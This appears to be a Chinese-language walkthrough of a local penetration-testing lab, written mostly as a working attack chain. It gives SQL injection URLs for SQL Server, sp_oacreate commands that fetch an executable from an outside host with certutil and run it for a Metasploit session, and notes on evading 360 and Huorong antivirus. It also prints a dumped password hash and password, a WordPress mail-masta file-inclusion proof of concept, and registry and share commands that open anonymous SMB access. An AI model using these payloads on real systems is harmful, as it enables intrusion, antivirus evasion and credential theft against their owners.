本次文章只用于技术讨论,学习,切勿用于非法用途,用于非法用途与本人无关!
所有环境均为在线下载的靶场,且在本机进行学习。
这个靶场非常有意思,结合隧道、免杀等知识,包含无回显命令执行、sql server命令执行绕过360、以及defener的绕过,很大程度上考察渗透人员的免杀与实战能力,因为是靶场,所以很多细节就不会记录。
这套模板太熟悉不过了,注入肯定有
联合查询注入,
http://10.30.3.128/?user_id=-1 union all select '1',db_name(),'1','1',null
通过当前当前用户名判断出是dbo权限
http://10.30.3.128/?user_id=-1 union select '1','1',user,'1',null
检查xp_cmdshell是否存在(1即存在,0不存在)
http://10.30.3.128/?user_id=-1 union select '2','2',(select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'),'2',null
执行命令会失败,这是因为xp_cmdshell调用的是cmd.exe,360对其直接进行拦截了
我们可以利用xp_oacreate俩=来进行命令执行(前提需要sa权限)
同样1存在,0则是不存在
http://10.30.3.128/?user_id=-1 union select '2','2',(select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'),'2',null
开启xp_oacreate
http://10.30.3.128/?user_id=1;exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
不过需要注意,利用xp_oacreate调用cmd.exe还是会被拦截,我们可以尝试写入webshell
但是路径是个问题,这里尝试了默认的路径C:\inetpub\wwwroot\,这个靶场改路径了,哈哈很有意思
这里就直接下载exe,然后执行上线msf(需要处理进行免杀)
http://10.30.3.128/?user_id=1;declare @shell int;
exec sp_oacreate 'wscript.shell', @shell out;
exec sp_oamethod @shell, 'run' , null, 'C:\Windows\System32\certutil.exe -f -urlcache -split http://10.30.3.129/a.exe c:\a.exe';
然后执行exe,即可上线
http://10.30.3.128/?user_id=1;declare @shell int;
exec sp_oacreate 'wscript.shell', @shell out;
exec sp_oamethod @shell, 'run' , null, 'c:\a.exe';
但是一些命令还是无法执行,但是迁移进程居然可以成功
ps查看进程,返现是360
翻一翻目录文件吧,发现这个很老六,网站路径是这个,不是默认的wwwroot(对于fuzz路径还是有难度的)
然后写入个webshell(webshell也需要免杀,哈哈360也会查杀)
虽然拿到了shell但是不免杀,也相当于没啥用,不管是抓取密码还是权限的提升都需要免杀,包括添加用户等
但是我们可以先看看有没有另外的网段,通过信息收集来达到更深层次的危害
这里先添加隧道,查看另外网段的机器
192.168.153.128
192.168.153.129
192.168.153.130(外部web机器)
二、内网机器
是个命令执行,但是无回显,因为在内网所以就会有很大的限制
如果是linux的机器那么会稍微轻松一点,如果是windows那么会有限制(怎么判断这里就不阐述了,较简单)
这里这台机器是windows的一个命令执行无回显,因为处在内网所以dnslog可能有限制。
尝试写入和copy命令但是都没反应,这里初步猜测是站点目录做了权限限制,低权限用户没有写入的权限,这是个很大的限制
这里尝试进行盲打,就是通过下载命令下载木马到c盘根目录,然后执行看看可否上线(这里还需要考虑是否出网问题)
将exe上传至外网机器(因为对方有web服务)
然后执行
然后监听执行
让我们看看a.txt里面到底是啥,是个webshell。。。
现在以及有msf会话了,这个shell已经不重要了,杀软是火绒
在提权、抓密码的时候,火绒没拦截,抓取到的密码
windows7
c7774443372cc3c7831fd4e974a8f7f8(mimataichangyebuhao)
因为是工作组所以不考虑域,这台机器也没有其他的网段
接下来看看另外一台机器,http://192.168.153.129/
先尝试wpscan,这里wpscan扫出俩一个漏洞,这里就直接上poc了,文件包含的一个漏洞
Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);Source: /inc/lists/csvexport.php:
Line 5: include($_GET['pl']);Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);Source: /inc/lists/csvexport.php
Line 5: include($_GET['pl']);Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
尝试远程文件包含,因为火绒机器是有web的,所以可以传webshell到火绒机器下
但是没有成功,应该是不允许远程文件包含(因为包含火绒机器的index.php也没有成功)
利用伪协议读取文件
php://filter/read=convert.base64-encode/resource=index.php
成功读取到了index.php,尝试读取配置文件
读取到mysql的账号和密码,root、root,尝试连接但是失败,不允许外连
当不允许远程文件包含的时候,可以尝试利用smb来进行包含,因为allow_url_include、allow_url_fopen的开关不会影响到smb
因为我们已经拿到火绒机器的shell,并且抓取到了密码,我们可以登录到火绒机器,在火绒机器开启smb匿名共享来达到包含的目的
需要管理员权限运行cmd(都登录到远程桌面了,这个很容易)
net user guest /active:yes
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d smb /f
导出组策略:
secedit /export /cfg c:\gp.inf /quiet
修改文件gp.inf,将SeDenyNetworkLogonRight = Guest修改为SeDenyNetworkLogonRight=,保存
重新导入组策略:
secedit /configure /db c:\gp.sdb /cfg c:\gp.inf /quiet
强制刷新组策略,立即生效(否则,重启后生效):
gpupdate /force
(需要自己先创建一个文件夹和文件,不然后面创建的文件会提示访问没有权限)
icacls C:\share\ /T /grant Everyone:r
net share share=c:\share /grant:everyone,full
至此,可匿名访问的文件共享服务器开启成功,访问的地址为//<ip>/
http://192.168.153.129/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=\\192.168.153.128\share\a.txt